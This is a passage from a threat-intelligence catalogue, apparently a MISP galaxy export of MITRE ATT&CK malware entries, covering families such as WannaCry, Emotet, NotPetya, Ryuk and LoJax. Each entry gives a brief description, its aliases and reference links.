Table 11519. Table References

Links
https://attack.mitre.org/software/S0593
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-239a

LightNeuron - S0395

[LightNeuron](https://attack.mitre.org/software/S0395) is a sophisticated backdoor that has targeted Microsoft Exchange servers since at least 2014. [LightNeuron](https://attack.mitre.org/software/S0395) has been used by [Turla](https://attack.mitre.org/groups/G0010) to target diplomatic and foreign affairs-related organizations. The presence of certain strings in the malware suggests a Linux variant of [LightNeuron](https://attack.mitre.org/software/S0395) exists.(Citation: ESET LightNeuron May 2019)

The tag is: *misp-galaxy:mitre-malware="LightNeuron - S0395"*

LightNeuron - S0395 is also known as:

- LightNeuron

Table 11520. Table References

Links
https://attack.mitre.org/software/S0395
https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf

WannaCry - S0366

[WannaCry](https://attack.mitre.org/software/S0366) is ransomware that was first seen in a global attack during May 2017, which affected more than 150 countries. It contains worm-like features to spread itself across a computer network using the SMBv1 exploit EternalBlue.(Citation: LogRhythm WannaCry)(Citation: US-CERT WannaCry 2017)(Citation: Washington Post WannaCry 2017)(Citation: FireEye WannaCry 2017)

The tag is: *misp-galaxy:mitre-malware="WannaCry - S0366"*

WannaCry - S0366 is also known as:

- WannaCry
- WanaCry
- WanaCrypt
- WanaCrypt0r
- WCry

Table 11521. Table References

Links
https://attack.mitre.org/software/S0366
https://web.archive.org/web/20230522041200/https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/
https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html

https://www.secureworks.com/research/wcry-ransomware-analysis
https://www.us-cert.gov/ncas/alerts/TA17-132A
https://www.washingtonpost.com/business/economy/more-than-150-countries-affected-by-massive-cyberattack-europol-says/2017/05/14/5091465e-3899-11e7-9e48-c4f199710b69_story.html?utm_term=.7fa16b41cad4

VaporRage - S0636

[VaporRage](https://attack.mitre.org/software/S0636) is a shellcode downloader that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2021.(Citation: MSTIC Nobelium Toolset May 2021)

The tag is: *misp-galaxy:mitre-malware="VaporRage - S0636"*

VaporRage - S0636 is also known as:

- VaporRage

Table 11522. Table References

Links
https://attack.mitre.org/software/S0636
https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/

SysUpdate - S0663

[SysUpdate](https://attack.mitre.org/software/S0663) is a backdoor written in C++ that has been used by [Threat Group-3390](https://attack.mitre.org/groups/G0027) since at least 2020.(Citation: Trend Micro Iron Tiger April 2021)

The tag is: *misp-galaxy:mitre-malware="SysUpdate - S0663"*

SysUpdate - S0663 is also known as:

- SysUpdate
- HyperSSL
- Soldier
- FOCUSFJORD

Table 11523. Table References

Links
https://attack.mitre.org/software/S0663
https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html

DarkWatchman - S0673

[DarkWatchman](https://attack.mitre.org/software/S0673) is a lightweight JavaScript-based remote access tool (RAT) that avoids file operations; it was first observed in November 2021.(Citation: Prevailion DarkWatchman 2021)

The tag is: *misp-galaxy:mitre-malware="DarkWatchman - S0673"*

DarkWatchman - S0673 is also known as:

- DarkWatchman

Table 11524. Table References

Links
https://attack.mitre.org/software/S0673
https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/

Emotet - S0367

[Emotet](https://attack.mitre.org/software/S0367) is a modular malware variant which is primarily used as a downloader for other malware variants such as [TrickBot](https://attack.mitre.org/software/S0266) and [IcedID](https://attack.mitre.org/software/S0483). Emotet first emerged in June 2014, initially targeting the financial sector, and has expanded to multiple verticals over time.(Citation: Trend Micro Banking Malware Jan 2019)

The tag is: *misp-galaxy:mitre-malware="Emotet - S0367"*

Emotet - S0367 is also known as:

- Emotet
- Geodo

Table 11525. Table References

Links
https://attack.mitre.org/software/S0367
https://blog.talosintelligence.com/2019/01/return-of-emotet.html
https://blog.trendmicro.com/trendlabs-security-intelligence/new-banking-malware-uses-network-sniffing-for-data-theft/
https://documents.trendmicro.com/assets/white_papers/ExploringEmotetsActivities_Final.pdf
https://redcanary.com/blog/stopping-emotet-before-it-moves-laterally/
https://securelist.com/the-banking-trojan-emotet-detailed-analysis/69560/
https://support.malwarebytes.com/docs/DOC-2295
https://www.cisecurity.org/blog/emotet-changes-ttp-and-arrives-in-united-states/

https://www.cisecurity.org/white-papers/ms-isac-security-primer-emotet/
https://www.picussecurity.com/blog/the-christmas-card-you-never-wanted-a-new-wave-of-emotet-is-back-to-wreak-havoc.html
https://www.secureworks.com/blog/lazy-passwords-become-rocket-fuel-for-emotet-smb-spreader
https://www.symantec.com/blogs/threat-intelligence/evolution-emotet-trojan-distributor
https://www.us-cert.gov/ncas/alerts/TA18-201A
https://www.welivesecurity.com/2018/11/09/emotet-launches-major-new-spam-campaign/

HOPLIGHT - S0376

[HOPLIGHT](https://attack.mitre.org/software/S0376) is a backdoor Trojan that has reportedly been used by the North Korean government.(Citation: US-CERT HOPLIGHT Apr 2019)

The tag is: *misp-galaxy:mitre-malware="HOPLIGHT - S0376"*

HOPLIGHT - S0376 is also known as:

- HOPLIGHT

Table 11526. Table References

Links
https://attack.mitre.org/software/S0376
https://www.us-cert.gov/ncas/analysis-reports/AR19-100A

NativeZone - S0637

[NativeZone](https://attack.mitre.org/software/S0637) is the name given collectively to disposable custom [Cobalt Strike](https://attack.mitre.org/software/S0154) loaders used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2021.(Citation: MSTIC Nobelium Toolset May 2021)(Citation: SentinelOne NobleBaron June 2021)

The tag is: *misp-galaxy:mitre-malware="NativeZone - S0637"*

NativeZone - S0637 is also known as:

- NativeZone

Table 11527. Table References

Links
https://attack.mitre.org/software/S0637
https://labs.sentinelone.com/noblebaron-new-poisoned-installers-could-be-used-in-supply-chain-attacks/

https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/

Babuk - S0638

[Babuk](https://attack.mitre.org/software/S0638) is a Ransomware-as-a-service (RaaS) malware that has been used since at least 2021. The operators of [Babuk](https://attack.mitre.org/software/S0638) employ a "Big Game Hunting" approach to targeting major enterprises and operate a leak site to post stolen data as part of their extortion scheme.(Citation: Sogeti CERT ESEC Babuk March 2021)(Citation: McAfee Babuk February 2021)(Citation: CyberScoop Babuk February 2021)

The tag is: *misp-galaxy:mitre-malware="Babuk - S0638"*

Babuk - S0638 is also known as:

- Babuk
- Babyk
- Vasa Locker

Table 11528. Table References

Links
https://attack.mitre.org/software/S0638
https://www.cyberscoop.com/babuk-ransomware-serco-attack/
https://www.mcafee.com/enterprise/en-us/assets/reports/rp-babuk-ransomware.pdf
https://www.sogeti.com/globalassets/reports/cybersecchronicles-_babuk.pdf
https://www.trendmicro.com/en_us/research/21/b/new-in-ransomware.html

NotPetya - S0368

[NotPetya](https://attack.mitre.org/software/S0368) is malware that was used by [Sandworm Team](https://attack.mitre.org/groups/G0034) in a worldwide attack starting on June 27, 2017. While [NotPetya](https://attack.mitre.org/software/S0368) appears as a form of ransomware, its main purpose was to destroy data and disk structures on compromised systems; the attackers never intended to make the encrypted data recoverable. As such, [NotPetya](https://attack.mitre.org/software/S0368) may be more appropriately thought of as a form of wiper malware. [NotPetya](https://attack.mitre.org/software/S0368) contains worm-like features to spread itself across a computer network using the SMBv1 exploits EternalBlue and EternalRomance.(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)(Citation: ESET Telebots June 2017)(Citation: US District Court Indictment GRU Unit 74455 October 2020)

The tag is: *misp-galaxy:mitre-malware="NotPetya - S0368"*

NotPetya - S0368 is also known as:

- NotPetya
- ExPetr
- Diskcoder.C
- GoldenEye
- Petrwrap
- Nyetya

Table 11529. Table References

Links
https://attack.mitre.org/software/S0368
https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html
https://www.justice.gov/opa/press-release/file/1328521/download
https://www.us-cert.gov/ncas/alerts/TA17-181A
https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/

Ursnif - S0386

[Ursnif](https://attack.mitre.org/software/S0386) is a banking trojan and variant of the Gozi malware observed being spread through various automated exploit kits, [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)s, and malicious links.(Citation: NJCCIC Ursnif Sept 2016)(Citation: ProofPoint Ursnif Aug 2016) [Ursnif](https://attack.mitre.org/software/S0386) is associated primarily with data theft, but variants also include components (backdoors, spyware, file injectors, etc.) capable of a wide variety of behaviors.(Citation: TrendMicro Ursnif Mar 2015)

The tag is: *misp-galaxy:mitre-malware="Ursnif - S0386"*

Ursnif - S0386 is also known as:

- Ursnif
- Gozi-ISFB
- PE_URSNIF
- Dreambot

Table 11530. Table References

Links
https://attack.mitre.org/software/S0386
https://web.archive.org/web/20210719165945/https://www.trendmicro.com/en_us/research/15/c/ursnif-the-multifaceted-malware.html?_ga=2.165628854.808042651.1508120821-744063452.1505819992
https://www.cyber.nj.gov/threat-landscape/malware/trojans/ursnif

https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html
https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality

EvilBunny - S0396

[EvilBunny](https://attack.mitre.org/software/S0396) is a C++ malware sample observed since 2011 that was designed to be a execution platform for Lua scripts.(Citation: Cyphort EvilBunny Dec 2014)

The tag is: *misp-galaxy:mitre-malware="EvilBunny - S0396"*

EvilBunny - S0396 is also known as:

- EvilBunny

Table 11531. Table References

Links
https://attack.mitre.org/software/S0396
https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/

CoinTicker - S0369

[CoinTicker](https://attack.mitre.org/software/S0369) is a malicious application that poses as a cryptocurrency price ticker and installs components of the open source backdoors EvilOSX and EggShell.(Citation: CoinTicker 2019)

The tag is: *misp-galaxy:mitre-malware="CoinTicker - S0369"*

CoinTicker - S0369 is also known as:

- CoinTicker

Table 11532. Table References

Links
https://attack.mitre.org/software/S0369
https://blog.malwarebytes.com/threat-analysis/2018/10/mac-cryptocurrency-ticker-app-installs-backdoors/

CaddyWiper - S0693

[CaddyWiper](https://attack.mitre.org/software/S0693) is a destructive data wiper that has been used in attacks against organizations in Ukraine since at least March 2022.(Citation: ESET CaddyWiper March 2022)(Citation: Cisco CaddyWiper March 2022)

The tag is: *misp-galaxy:mitre-malware="CaddyWiper - S0693"*

CaddyWiper - S0693 is also known as:

- CaddyWiper

Table 11533. Table References

Links
https://attack.mitre.org/software/S0693
https://blog.talosintelligence.com/2022/03/threat-advisory-caddywiper.html
https://www.welivesecurity.com/2022/03/15/caddywiper-new-wiper-malware-discovered-ukraine

Ebury - S0377

[Ebury](https://attack.mitre.org/software/S0377) is an OpenSSH backdoor and credential stealer targeting Linux servers and container hosts developed by [Windigo](https://attack.mitre.org/groups/G0124). [Ebury](https://attack.mitre.org/software/S0377) is primarily installed through modifying shared libraries (`.so` files) executed by the legitimate OpenSSH program. First seen in 2009, [Ebury](https://attack.mitre.org/software/S0377) has been used to maintain a botnet of servers, deploy additional malware, and steal cryptocurrency wallets, credentials, and credit card details.(Citation: ESET Ebury Feb 2014)(Citation: BleepingComputer Ebury March 2017)(Citation: ESET Ebury Oct 2017)(Citation: ESET Ebury May 2024)

The tag is: *misp-galaxy:mitre-malware="Ebury - S0377"*

Ebury - S0377 is also known as:

- Ebury

Table 11534. Table References

Links
https://attack.mitre.org/software/S0377
https://web-assets.esetstatic.com/wls/en/papers/white-papers/ebury-is-alive-but-unseen.pdf
https://www.bleepingcomputer.com/news/security/russian-hacker-pleads-guilty-for-role-in-infamous-linux-ebury-malware/
https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/
https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/

KeyBoy - S0387

[KeyBoy](https://attack.mitre.org/software/S0387) is malware that has been used in targeted campaigns against members of the Tibetan Parliament in 2016.(Citation: CitizenLab KeyBoy Nov 2016)(Citation: PWC KeyBoys Feb 2017)

The tag is: *misp-galaxy:mitre-malware="KeyBoy - S0387"*

KeyBoy - S0387 is also known as:

- KeyBoy

Table 11535. Table References

Links
https://attack.mitre.org/software/S0387
https://blog.rapid7.com/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india/
https://citizenlab.ca/2016/11/parliament-keyboy/
https://web.archive.org/web/20211129064701/https://www.pwc.co.uk/issues/cyber-security-services/research/the-keyboys-are-back-in-town.html

LoJax - S0397

[LoJax](https://attack.mitre.org/software/S0397) is a UEFI rootkit used by [APT28](https://attack.mitre.org/groups/G0007) to persist remote access software on targeted systems.(Citation: ESET LoJax Sept 2018)

The tag is: *misp-galaxy:mitre-malware="LoJax - S0397"*

LoJax - S0397 is also known as:

- LoJax

Table 11536. Table References

Links
https://attack.mitre.org/software/S0397
https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf

YAHOYAH - S0388

[YAHOYAH](https://attack.mitre.org/software/S0388) is a Trojan used by [Tropic Trooper](https://attack.mitre.org/groups/G0081) as a second-stage backdoor.(Citation: TrendMicro TropicTrooper 2015)

The tag is: *misp-galaxy:mitre-malware="YAHOYAH - S0388"*

YAHOYAH - S0388 is also known as:

- YAHOYAH

Table 11537. Table References

Links
https://attack.mitre.org/software/S0388
https://documents.trendmicro.com/assets/wp/wp-operation-tropic-trooper.pdf

HyperBro - S0398

[HyperBro](https://attack.mitre.org/software/S0398) is a custom in-memory backdoor used by [Threat Group-3390](https://attack.mitre.org/groups/G0027).(Citation: Unit42 Emissary Panda May 2019)(Citation: Securelist LuckyMouse June 2018)(Citation: Hacker News LuckyMouse June 2018)

The tag is: *misp-galaxy:mitre-malware="HyperBro - S0398"*

HyperBro - S0398 is also known as:

- HyperBro

Table 11538. Table References

Links
https://attack.mitre.org/software/S0398
https://securelist.com/luckymouse-hits-national-data-center/86083/
https://thehackernews.com/2018/06/chinese-watering-hole-attack.html
https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/

JCry - S0389

[JCry](https://attack.mitre.org/software/S0389) is ransomware written in Go. It was identified as apart of the #OpJerusalem 2019 campaign.(Citation: Carbon Black JCry May 2019)

The tag is: *misp-galaxy:mitre-malware="JCry - S0389"*

JCry - S0389 is also known as:

- JCry

Table 11539. Table References

Links
https://attack.mitre.org/software/S0389
https://www.carbonblack.com/2019/05/14/cb-tau-threat-intelligence-notification-jcry-ransomware-pretends-to-be-adobe-flash-player-update-installer/

Pallas - S0399

[Pallas](https://attack.mitre.org/software/S0399) is mobile surveillanceware that was custom-developed by [Dark Caracal](https://attack.mitre.org/groups/G0070).(Citation: Lookout Dark Caracal Jan 2018)

The tag is: *misp-galaxy:mitre-malware="Pallas - S0399"*

Pallas - S0399 is also known as:

- Pallas

Table 11540. Table References

Links
https://attack.mitre.org/software/S0399
https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf

ShimRat - S0444

[ShimRat](https://attack.mitre.org/software/S0444) has been used by the suspected China-based adversary [Mofang](https://attack.mitre.org/groups/G0103) in campaigns targeting multiple countries and sectors including government, military, critical infrastructure, automobile, and weapons development. The name "[ShimRat](https://attack.mitre.org/software/S0444)" comes from the malware’s extensive use of Windows Application Shimming to maintain persistence. (Citation: FOX-IT May 2016 Mofang)

The tag is: *misp-galaxy:mitre-malware="ShimRat - S0444"*

ShimRat - S0444 is also known as:

- ShimRat

Table 11541. Table References

Links
https://attack.mitre.org/software/S0444
https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf

HenBox - S0544

[HenBox](https://attack.mitre.org/software/S0544) is Android malware that attempts to only execute on Xiaomi devices running the MIUI operating system. [HenBox](https://attack.mitre.org/software/S0544) has primarily been used to target Uyghurs, a minority Turkic ethnic group.(Citation: Palo Alto HenBox)

The tag is: *misp-galaxy:mitre-malware="HenBox - S0544"*

HenBox - S0544 is also known as:

- HenBox

Table 11542. Table References

Links
https://attack.mitre.org/software/S0544

https://unit42.paloaltonetworks.com/unit42-henbox-chickens-come-home-roost/

Cadelspy - S0454

[Cadelspy](https://attack.mitre.org/software/S0454) is a backdoor that has been used by [APT39](https://attack.mitre.org/groups/G0087).(Citation: Symantec Chafer Dec 2015)

The tag is: *misp-galaxy:mitre-malware="Cadelspy - S0454"*

Cadelspy - S0454 is also known as:

- Cadelspy

Table 11543. Table References

Links
https://attack.mitre.org/software/S0454
https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets

ObliqueRAT - S0644

[ObliqueRAT](https://attack.mitre.org/software/S0644) is a remote access trojan, similar to [Crimson](https://attack.mitre.org/software/S0115), that has been in use by [Transparent Tribe](https://attack.mitre.org/groups/G0134) since at least 2020.(Citation: Talos Oblique RAT March 2021)(Citation: Talos Transparent Tribe May 2021)

The tag is: *misp-galaxy:mitre-malware="ObliqueRAT - S0644"*

ObliqueRAT - S0644 is also known as:

- ObliqueRAT

Table 11544. Table References

Links
https://attack.mitre.org/software/S0644
https://blog.talosintelligence.com/2021/02/obliquerat-new-campaign.html
https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html

SYSCON - S0464

[SYSCON](https://attack.mitre.org/software/S0464) is a backdoor that has been in use since at least 2017 and has been associated with campaigns involving North Korean themes. [SYSCON](https://attack.mitre.org/software/S0464) has been delivered by the [CARROTBALL](https://attack.mitre.org/software/S0465) and [CARROTBAT](https://attack.mitre.org/software/S0462) droppers.(Citation: Unit 42 CARROTBAT November 2018)(Citation: Unit 42

CARROTBAT January 2020)

The tag is: *misp-galaxy:mitre-malware="SYSCON - S0464"*

SYSCON - S0464 is also known as:

- SYSCON

Table 11545. Table References

Links
https://attack.mitre.org/software/S0464
https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/
https://unit42.paloaltonetworks.com/unit42-the-fractured-block-campaign-carrotbat-malware-used-to-deliver-malware-targeting-southeast-asia/

Ryuk - S0446

[Ryuk](https://attack.mitre.org/software/S0446) is a ransomware designed to target enterprise environments that has been used in attacks since at least 2018. [Ryuk](https://attack.mitre.org/software/S0446) shares code similarities with Hermes ransomware.(Citation: CrowdStrike Ryuk January 2019)(Citation: FireEye Ryuk and Trickbot January 2019)(Citation: FireEye FIN6 Apr 2019)

The tag is: *misp-galaxy:mitre-malware="Ryuk - S0446"*

Ryuk - S0446 is also known as:

- Ryuk

Table 11546. Table References

Links
https://attack.mitre.org/software/S0446
https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/
https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/
https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html
https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html

Lokibot - S0447

[Lokibot](https://attack.mitre.org/software/S0447) is a widely distributed information stealer that was first reported in 2015. It is designed to steal sensitive information such as usernames, passwords, cryptocurrency wallets, and other credentials. [Lokibot](https://attack.mitre.org/

software/S0447) can also create a backdoor into infected systems to allow an attacker to install additional payloads.(Citation: Infoblox Lokibot January 2019)(Citation: Morphisec Lokibot April 2020)(Citation: CISA Lokibot September 2020)

The tag is: *misp-galaxy:mitre-malware="Lokibot - S0447"*

Lokibot - S0447 is also known as:

- Lokibot

Table 11547. Table References

Links
https://attack.mitre.org/software/S0447
https://blog.morphisec.com/lokibot-with-autoit-obfuscator-frenchy-shellcode
https://blog.talosintelligence.com/2021/01/a-deep-dive-into-lokibot-infection-chain.html
https://insights.infoblox.com/threat-intelligence-reports/threat-intelligence—22
https://us-cert.cisa.gov/ncas/alerts/aa20-266a

Carberp - S0484

[Carberp](https://attack.mitre.org/software/S0484) is a credential and information stealing malware that has been active since at least 2009. [Carberp](https://attack.mitre.org/software/S0484)'s source code was leaked online in 2013, and subsequently used as the foundation for the [Carbanak](https://attack.mitre.org/software/S0030) backdoor.(Citation: Trend Micro Carberp February 2014)(Citation: KasperskyCarbanak)(Citation: RSA Carbanak November 2017)

The tag is: *misp-galaxy:mitre-malware="Carberp - S0484"*

Carberp - S0484 is also known as:

- Carberp

Table 11548. Table References

Links
https://attack.mitre.org/software/S0484
https://securelist.com/the-great-bank-robbery-the-carbanak-apt/68732/
https://www.rsa.com/content/dam/en/white-paper/the-carbanak-fin7-syndicate.pdf
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/carberp

Maze - S0449

[Maze](https://attack.mitre.org/software/S0449) ransomware, previously known as "ChaCha", was discovered in May 2019. In addition to encrypting files on victim machines for impact, [Maze](https://attack.mitre.org/software/S0449) operators conduct information stealing campaigns

prior to encryption and post the information online to extort affected companies.(Citation: FireEye Maze May 2020)(Citation: McAfee Maze March 2020)(Citation: Sophos Maze VM September 2020)

The tag is: *misp-galaxy:mitre-malware="Maze - S0449"*

Maze - S0449 is also known as:

- Maze

Table 11549. Table References

Links
https://attack.mitre.org/software/S0449
https://news.sophos.com/en-us/2020/09/17/maze-attackers-adopt-ragnar-locker-virtual-machine-technique/
https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/

Zen - S0494

[Zen](https://attack.mitre.org/software/S0494) is Android malware that was first seen in 2013.(Citation: Google Security Zen)

The tag is: *misp-galaxy:mitre-malware="Zen - S0494"*

Zen - S0494 is also known as:

- Zen

Table 11550. Table References

Links
https://attack.mitre.org/software/S0494
https://security.googleblog.com/2019/01/pha-family-highlights-zen-and-its.html

TERRACOTTA - S0545

[TERRACOTTA](https://attack.mitre.org/software/S0545) is an ad fraud botnet that has been capable of generating over 2 billion fraudulent requests per week.(Citation: WhiteOps TERRACOTTA)

The tag is: *misp-galaxy:mitre-malware="TERRACOTTA - S0545"*

TERRACOTTA - S0545 is also known as:

- TERRACOTTA

Table 11551. Table References

Links
https://attack.mitre.org/software/S0545
https://www.whiteops.com/blog/terracotta-android-malware-a-technical-study

Egregor - S0554

[Egregor](https://attack.mitre.org/software/S0554) is a Ransomware-as-a-Service (RaaS) tool that was first observed in September 2020. Researchers have noted code similarities between [Egregor](https://attack.mitre.org/software/S0554) and Sekhmet ransomware, as well as [Maze](https://attack.mitre.org/software/S0449) ransomware.(Citation: NHS Digital Egregor Nov 2020)(Citation: Cyble Egregor Oct 2020)(Citation: Security Boulevard Egregor Oct 2020)

The tag is: *misp-galaxy:mitre-malware="Egregor - S0554"*

Egregor - S0554 is also known as:

- Egregor

Table 11552. Table References

Links
https://attack.mitre.org/software/S0554
https://cybleinc.com/2020/10/31/egregor-ransomware-a-deep-dive-into-its-activities-and-techniques/
https://digital.nhs.uk/cyber-alerts/2020/cc-3681#summary
https://securityboulevard.com/2020/10/egregor-sekhmets-cousin/

Metamorfo - S0455

[Metamorfo](https://attack.mitre.org/software/S0455) is a Latin-American banking trojan operated by a Brazilian cybercrime group that has been active since at least April 2018. The group focuses on targeting banks and cryptocurrency services in Brazil and Mexico.(Citation: Medium Metamorfo Apr 2020)(Citation: ESET Casbaneiro Oct 2019)

The tag is: *misp-galaxy:mitre-malware="Metamorfo - S0455"*

Metamorfo - S0455 is also known as:

- Metamorfo
- Casbaneiro

Table 11553. Table References

Links
https://attack.mitre.org/software/S0455

https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767
https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerous-cooking/

BlackMould - S0564

[BlackMould](https://attack.mitre.org/software/S0564) is a web shell based on [China Chopper](https://attack.mitre.org/software/S0020) for servers running Microsoft IIS. First reported in December 2019, it has been used in malicious campaigns by [GALLIUM](https://attack.mitre.org/groups/G0093) against telecommunication providers.(Citation: Microsoft GALLIUM December 2019)

The tag is: *misp-galaxy:mitre-malware="BlackMould - S0564"*

BlackMould - S0564 is also known as:

- BlackMould

Table 11554. Table References

Links
https://attack.mitre.org/software/S0564
https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/

ProLock - S0654

[ProLock](https://attack.mitre.org/software/S0654) is a ransomware strain that has been used in Big Game Hunting (BGH) operations since at least 2020, often obtaining initial access with [QakBot](https://attack.mitre.org/software/S0650). [ProLock](https://attack.mitre.org/software/S0654) is the successor to PwndLocker ransomware which was found to contain a bug allowing decryption without ransom payment in 2019.(Citation: Group IB Ransomware September 2020)

The tag is: *misp-galaxy:mitre-malware="ProLock - S0654"*

ProLock - S0654 is also known as:

- ProLock

Table 11555. Table References

Links
https://attack.mitre.org/software/S0654
https://web.archive.org/web/20220119114433/https://groupib.pathfactory.com/ransomware-reports/prolock_wp

SharpStage - S0546

[SharpStage](https://attack.mitre.org/software/S0546) is a .NET malware with backdoor

capabilities.(Citation: Cybereason Molerats Dec 2020)(Citation: BleepingComputer Molerats Dec 2020)

The tag is: *misp-galaxy:mitre-malware="SharpStage - S0546"*

SharpStage - S0546 is also known as:

- SharpStage

Table 11556. Table References

Links
https://attack.mitre.org/software/S0546
https://www.bleepingcomputer.com/news/security/hacking-group-s-new-malware-abuses-google-and-facebook-services/
https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf

BendyBear - S0574

[BendyBear](https://attack.mitre.org/software/S0574) is an x64 shellcode for a stage-zero implant designed to download malware from a C2 server. First discovered in August 2020, [BendyBear](https://attack.mitre.org/software/S0574) shares a variety of features with [Waterbear](https://attack.mitre.org/software/S0579), malware previously attributed to the Chinese cyber espionage group [BlackTech](https://attack.mitre.org/groups/G0098).(Citation: Unit42 BendyBear Feb 2021)

The tag is: *misp-galaxy:mitre-malware="BendyBear - S0574"*

BendyBear - S0574 is also known as:

- BendyBear

Table 11557. Table References

Links
https://attack.mitre.org/software/S0574
https://unit42.paloaltonetworks.com/bendybear-shellcode-blacktech/

BackConfig - S0475

[BackConfig](https://attack.mitre.org/software/S0475) is a custom Trojan with a flexible plugin architecture that has been used by [Patchwork](https://attack.mitre.org/groups/G0040).(Citation: Unit 42 BackConfig May 2020)

The tag is: *misp-galaxy:mitre-malware="BackConfig - S0475"*

BackConfig - S0475 is also known as:

- BackConfig

Table 11558. Table References

Links
https://attack.mitre.org/software/S0475
https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/

DropBook - S0547

[DropBook](https://attack.mitre.org/software/S0547) is a Python-based backdoor compiled with PyInstaller.(Citation: Cybereason Molerats Dec 2020)

The tag is: *misp-galaxy:mitre-malware="DropBook - S0547"*

DropBook - S0547 is also known as:

- DropBook

Table 11559. Table References

Links
https://attack.mitre.org/software/S0547
https://www.bleepingcomputer.com/news/security/hacking-group-s-new-malware-abuses-google-and-facebook-services/
https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf

Netwalker - S0457

[Netwalker](https://attack.mitre.org/software/S0457) is fileless ransomware written in PowerShell and executed directly in memory.(Citation: TrendMicro Netwalker May 2020)

The tag is: *misp-galaxy:mitre-malware="Netwalker - S0457"*

Netwalker - S0457 is also known as:

- Netwalker

Table 11560. Table References

Links
https://attack.mitre.org/software/S0457
https://blog.trendmicro.com/trendlabs-security-intelligence/netwalker-fileless-ransomware-injected-via-reflective-loading/

AppleJeus - S0584

[AppleJeus](https://attack.mitre.org/software/S0584) is a family of downloaders initially discovered in 2018 embedded within trojanized cryptocurrency applications. [AppleJeus](https://attack.mitre.org/software/S0584) has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032), targeting companies in the energy, finance, government, industry, technology, and telecommunications sectors, and several countries including the United States, United Kingdom, South Korea, Australia, Brazil, New Zealand, and Russia. [AppleJeus](https://attack.mitre.org/software/S0584) has been used to distribute the [FALLCHILL](https://attack.mitre.org/software/S0181) RAT.(Citation: CISA AppleJeus Feb 2021)

The tag is: *misp-galaxy:mitre-malware="AppleJeus - S0584"*

AppleJeus - S0584 is also known as:

- AppleJeus

Table 11561. Table References

Links
https://attack.mitre.org/software/S0584
https://us-cert.cisa.gov/ncas/alerts/aa21-048a

Mandrake - S0485

[Mandrake](https://attack.mitre.org/software/S0485) is a sophisticated Android espionage platform that has been active in the wild since at least 2016. [Mandrake](https://attack.mitre.org/software/S0485) is very actively maintained, with sophisticated features and attacks that are executed with surgical precision.

[Mandrake](https://attack.mitre.org/software/S0485) has gone undetected for several years by providing legitimate, ad-free applications with social media and real reviews to back the apps. The malware is only activated when the operators issue a specific command.(Citation: Bitdefender Mandrake)

The tag is: *misp-galaxy:mitre-malware="Mandrake - S0485"*

Mandrake - S0485 is also known as:

- Mandrake
- oxide
- briar
- ricinus
- darkmatter

Table 11562. Table References

Links

https://attack.mitre.org/software/S0485
https://www.bitdefender.com/files/News/CaseStudies/study/329/Bitdefender-PR-Whitepaper-Mandrake-creat4464-en-EN-interactive.pdf

Ramsay - S0458

[Ramsay](https://attack.mitre.org/software/S0458) is an information stealing malware framework designed to collect and exfiltrate sensitive documents, including from air-gapped systems. Researchers have identified overlaps between [Ramsay](https://attack.mitre.org/software/S0458) and the [Darkhotel](https://attack.mitre.org/groups/G0012)-associated Retro malware.(Citation: Eset Ramsay May 2020)(Citation: Antiy CERT Ramsay April 2020)

The tag is: *misp-galaxy:mitre-malware="Ramsay - S0458"*

Ramsay - S0458 is also known as:

- Ramsay

Table 11563. Table References

Links
https://attack.mitre.org/software/S0458
https://www.programmersought.com/article/62493896999/
